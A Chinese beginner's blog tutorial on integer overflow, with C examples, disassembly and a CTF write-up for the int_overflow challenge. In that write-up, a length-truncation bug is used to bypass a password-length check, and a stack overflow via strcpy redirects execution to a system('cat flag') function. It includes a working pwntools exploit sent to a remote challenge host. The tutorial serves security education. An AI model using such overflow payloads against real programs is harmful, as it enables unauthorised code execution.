简单的整数溢出

0x01 为什么会存在整数溢出

回答这个问题前,我们需要了解下整数在计算机的存储方式。在计算机中,因为二值逻辑,只有开和关(通电、断电)来表示两种状态,这刚好与"0"、"1"相对应,因此在存储单元都是以0和1来呈现,那么对于有符号数与无符号数的区别就是:以所能表示的长度的空间,它的最高位所代表的性质不同,如下图所示:

在这里插入图片描述

这是一个存放8个1的8bit长度的存储单元,其最高位的不同(符号位和数值位)决定了它的绝对值的不同,当然决定了其取值范围的不同。
把握其中的三个关键点:
一、固定长度的空间(存储单元)
二、符号位和数值位
三、如果运算后发生进位溢出,绿色区域的空间依旧可以用
其实这样梳理以后,整数溢出的原理就随之对应而来了。

0x02 整数溢出原理

先来看一下整数溢出的危害
如果我们用某个整数来表示空间的大小或者说索引,那么整数溢出可以导致堆溢出或者栈溢出,间接导致任意代码执行。可以发现,整数溢出,实际上就是程序没有按照我们正常逻辑去进行(出乎意料),被恶意利用后就会产生危害。
可以对应上述(关键点)三种情况:
一、两个不同长度的储存空间进行赋值。将一个长度较长的数赋值给长度较短的空间,高位会被截断。
二、有符号数与无符号数之间的转换。由于最高位的性质不同,导致各种出乎意料的状况发生。
三、有(无)符号数的四则运算。比如符号相同的数就行相加,只有数值最高位或者符号位进位时,就会发生溢出;较大的无符号数的相加也会导致溢出。
具体的一些细节可以参考《计算机组成原理》的计算机的运算方法。

0x03 整数溢出例子分解

知道了原理,也清楚了类型,这里就一个一个分解,个人感觉论溢出的时候,从二进制出发考虑数据类型的取值范围和溢出临界点会更容易理解。

一、截断

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    int a = 65536;                   // 0x10000 -> 1 0000 0000 0000 0000
    short b;                     
    b = a;
    printf("%d\n", b);
    return 0;
}

short 为16bit(其中1位符号位),int为32bit(其中1位符号位)当把a(17bit)赋值给b时,会发生高位截断,从而b为 0000 0000 0000 0000,也就是0。再来详细看一下具体执行过程。

0040152E    C74424 1C 00000>mov dword ptr ss:[esp+0x1C],0x10000
// Stack ss:[0061FE9C]=00010000
00401536    8B4424 1C       mov eax,dword ptr ss:[esp+0x1C]
// eax=00010000
0040153A    66:894424 1A    mov word ptr ss:[esp+0x1A],ax
// 重点来了,取eax的低16位的值放到ss:[0061FE9A]中,也就是0000
0040153F    0FBF4424 1A     movsx eax,word ptr ss:[esp+0x1A]
// eax=00000000
00401544    894424 04       mov dword ptr ss:[esp+0x4],eax

可以发现,在执行的时候eax的高位被截断了,只有操作了低16位的存储的数值。

二、有(无)符号数之间的转换

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    unsigned short a = 32768;                   // 0x8000 -> 1000 0000 0000 0000
    short int b;                     
    b = a;
    printf("%d\n", b);
    return 0;
}

此时b又是多少呢?按照刚才的方法,从二进制的数入手,显然b为:1000 0000 0000 0000,虽然每一位的数没有变,但是最高位的性质变了,现在为符号位,也就是表示负数,后面15位为数值。那么此时的值是多少呢?计算机对负数是以补码的形式进行保存的,因此值为-2的15次方*1,也就是-32768。再来详细看一下具体执行过程。

0040152E    66:C74424 1E 00>mov word ptr ss:[esp+0x1E],0x8000
// Stack ss:[0061FE9E]=8000
00401535    0FB74424 1E     movzx eax,word ptr ss:[esp+0x1E]
// eax=0008000
0040153A    66:894424 1C    mov word ptr ss:[esp+0x1C],ax
// Stack ss:[0061FE9C]=8000
0040153F    0FBF4424 1C     movsx eax,word ptr ss:[esp+0x1C]
// 可以发现两次用到了不同的指令movzx和movsx,第一个是无符号扩展,并传送,第二个带符号扩展,并传送,所以此处的eax=FFF8000
00401544    894424 04       mov dword ptr ss:[esp+0x4],eax

三、有(无)符号的四则运算

先来看有符号的加法

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    short a = 32767;                   // 0x7fff -> 0111 1111 1111 1111            
    a++;
    printf("%d\n", a);
    return 0;
}

short最大数加一后,就会变成最小数。

在这里插入图片描述

再来详细看一下具体执行过程。

0040152E    66:C74424 1E FF>mov word ptr ss:[esp+0x1E],0x7FFF
// Stack ss:[0061FE9E]=7FFF
00401535    0FB74424 1E     movzx eax,word ptr ss:[esp+0x1E]
// eax=0007FFF
0040153A    83C0 01         add eax,0x1
// 执行自加,eax=008000
0040153D    66:894424 1E    mov word ptr ss:[esp+0x1E],ax
// Stack ss:[0061FE9E]=8000
00401542    0FBF4424 1E     movsx eax,word ptr ss:[esp+0x1E]
// 使用movsx把0x8000再次放进eax中,eax=FFF8000
00401547    894424 04       mov dword ptr ss:[esp+0x4],eax

再来看一下无符号数,其实原理是一样的,如果说有符号数是一个坐标轴(如上图所示),那么无符号数就是一个圆盘(如下图所示),无论上溢出还是下溢出,都是围绕圆心循环转。

在这里插入图片描述

分析完这几个类型后,疑惑就来了,说了这么多怎么利用呢?

0x03 实战

这里选用攻防世界的int_overflow为例进行分析
拖到IDA中查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp){
  int v4; // [esp+Ch] [ebp-Ch]
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 ){
    login();
  }
  else{
    if ( v4 == 2 ){
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

没有发现可疑问题,查看login()函数

int login(){
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

似乎也没什么可疑的地方,继续查看check_passwd(&buf),可以先注意下变量buf,因为他是可控的,长度为0x199

char *__cdecl check_passwd(char *s){
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]
  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u ) {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else{
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

查看到这里,我们首先发现就是strcpy函数导致的栈溢出,为什么这么说呢?
变量buf的长度0x199,又可以发现变量dest的位置是ebp-14h,也就是我们可以控制变量buf来控制函数的返回值,进而控制EIP的值,详细的原理和方法,可以参看走进栈溢出初探ROP
但是问题又来了,程序用了一个if语句限制了变量buf的长度,使得我们无法达到所想的栈溢出效果,是不是就无法攻击了?回到这一篇文章的核心思想,就知道我们需要寻找整数的溢出的地方。

unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u ) {

可以发现v3是一个8bit的无符号的变量,但是我们的变量buf(后面表示为s)的长度却可以达到0x199,也就是409bit的长度,这里就是我们在文章开头提到的第一种情况:将一个长度较长的数赋值给长度较短的空间,高位会被截断。如下图所示:

在这里插入图片描述

v3的数值就是s的长度的低8位的数值,所以我们只要控制低8位的值就可以绕过if,完成后面的栈溢出攻击。
继续分析,v3∈(3, 8],化为二进制(0000 0011, 0000 1000],那么s的长度(设为L)的低八位应该也为(0000 0011, 0000 1000],要想既达到整数溢出的目的,又能进行栈溢出攻击,L至少有一位(大于第八位)上的数值为1,这里选取只有第九位的数值为1,即L(低九位)∈(10000 0011, 10000 1000],也就是(259, 264],这也是整个L的长度。构造payload来获取flag,在IDA中可以找到

int what_is_this()
{
  return system("cat flag");
}
对应
.text:0804868B what_is_this    proc near
.text:0804868B ; __unwind {
.text:0804868B                 push    ebp
.text:0804868C                 mov     ebp, esp
.text:0804868E                 sub     esp, 8
.text:08048691                 sub     esp, 0Ch
.text:08048694                 push    offset command  ; "cat flag"
.text:08048699                 call    _system
.text:0804869E                 add     esp, 10h
.text:080486A1                 nop
.text:080486A2                 leave
.text:080486A3                 retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this    endp

把返回地址覆盖为0x804868B即可获取flag,构造payload

payload = flat(['a' * 0x18, 0x804868B, 'a' * 232])
//像这种凑长度了使用payload = flat(['a' * 0x18, 0x804868B]).ljust(260,"a")

可以再用gdb确认一下溢出临界,在strcpy处下断点,如下图所示,这里可以详细推敲一下(虽然意义不大,但是挺好玩的),esp中存的是s的开始位置0xfffbbf4,ebp为0xfffbc08,可以发现是相差0x14。

在这里插入图片描述

其实这个elf文件的溢出临界也可以在汇编代码中找,如下图所示,有些文件会以esp+0xN来显示,因此可以用上面设置断点的方法找。

在这里插入图片描述

分析到这,此题也算是做完了,编写exp拿到flag即可,而且此题对整数溢出的应用更加深了。

from pwn import * 
io = remote("111.198.29.45", 35521) 
cat_flag_addr = 0x0804868B 
io.sendlineafter("Your choice:", "1") 
io.sendlineafter("your username:", "threepwn") 
payload = flat(['a' * 0x18, cat_flag_addr, 'a' * 232])
io.sendlineafter("your passwd:", payload) 
io.recv() 
io.interactive()

0x04 附录

借用ctfwiki的一幅图(个人感觉从二进制的数值入手会更容易理解整数溢出)

在这里插入图片描述

0x05 尾记

还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。
参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/integeroverflow/intof-zh/

  • 21
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值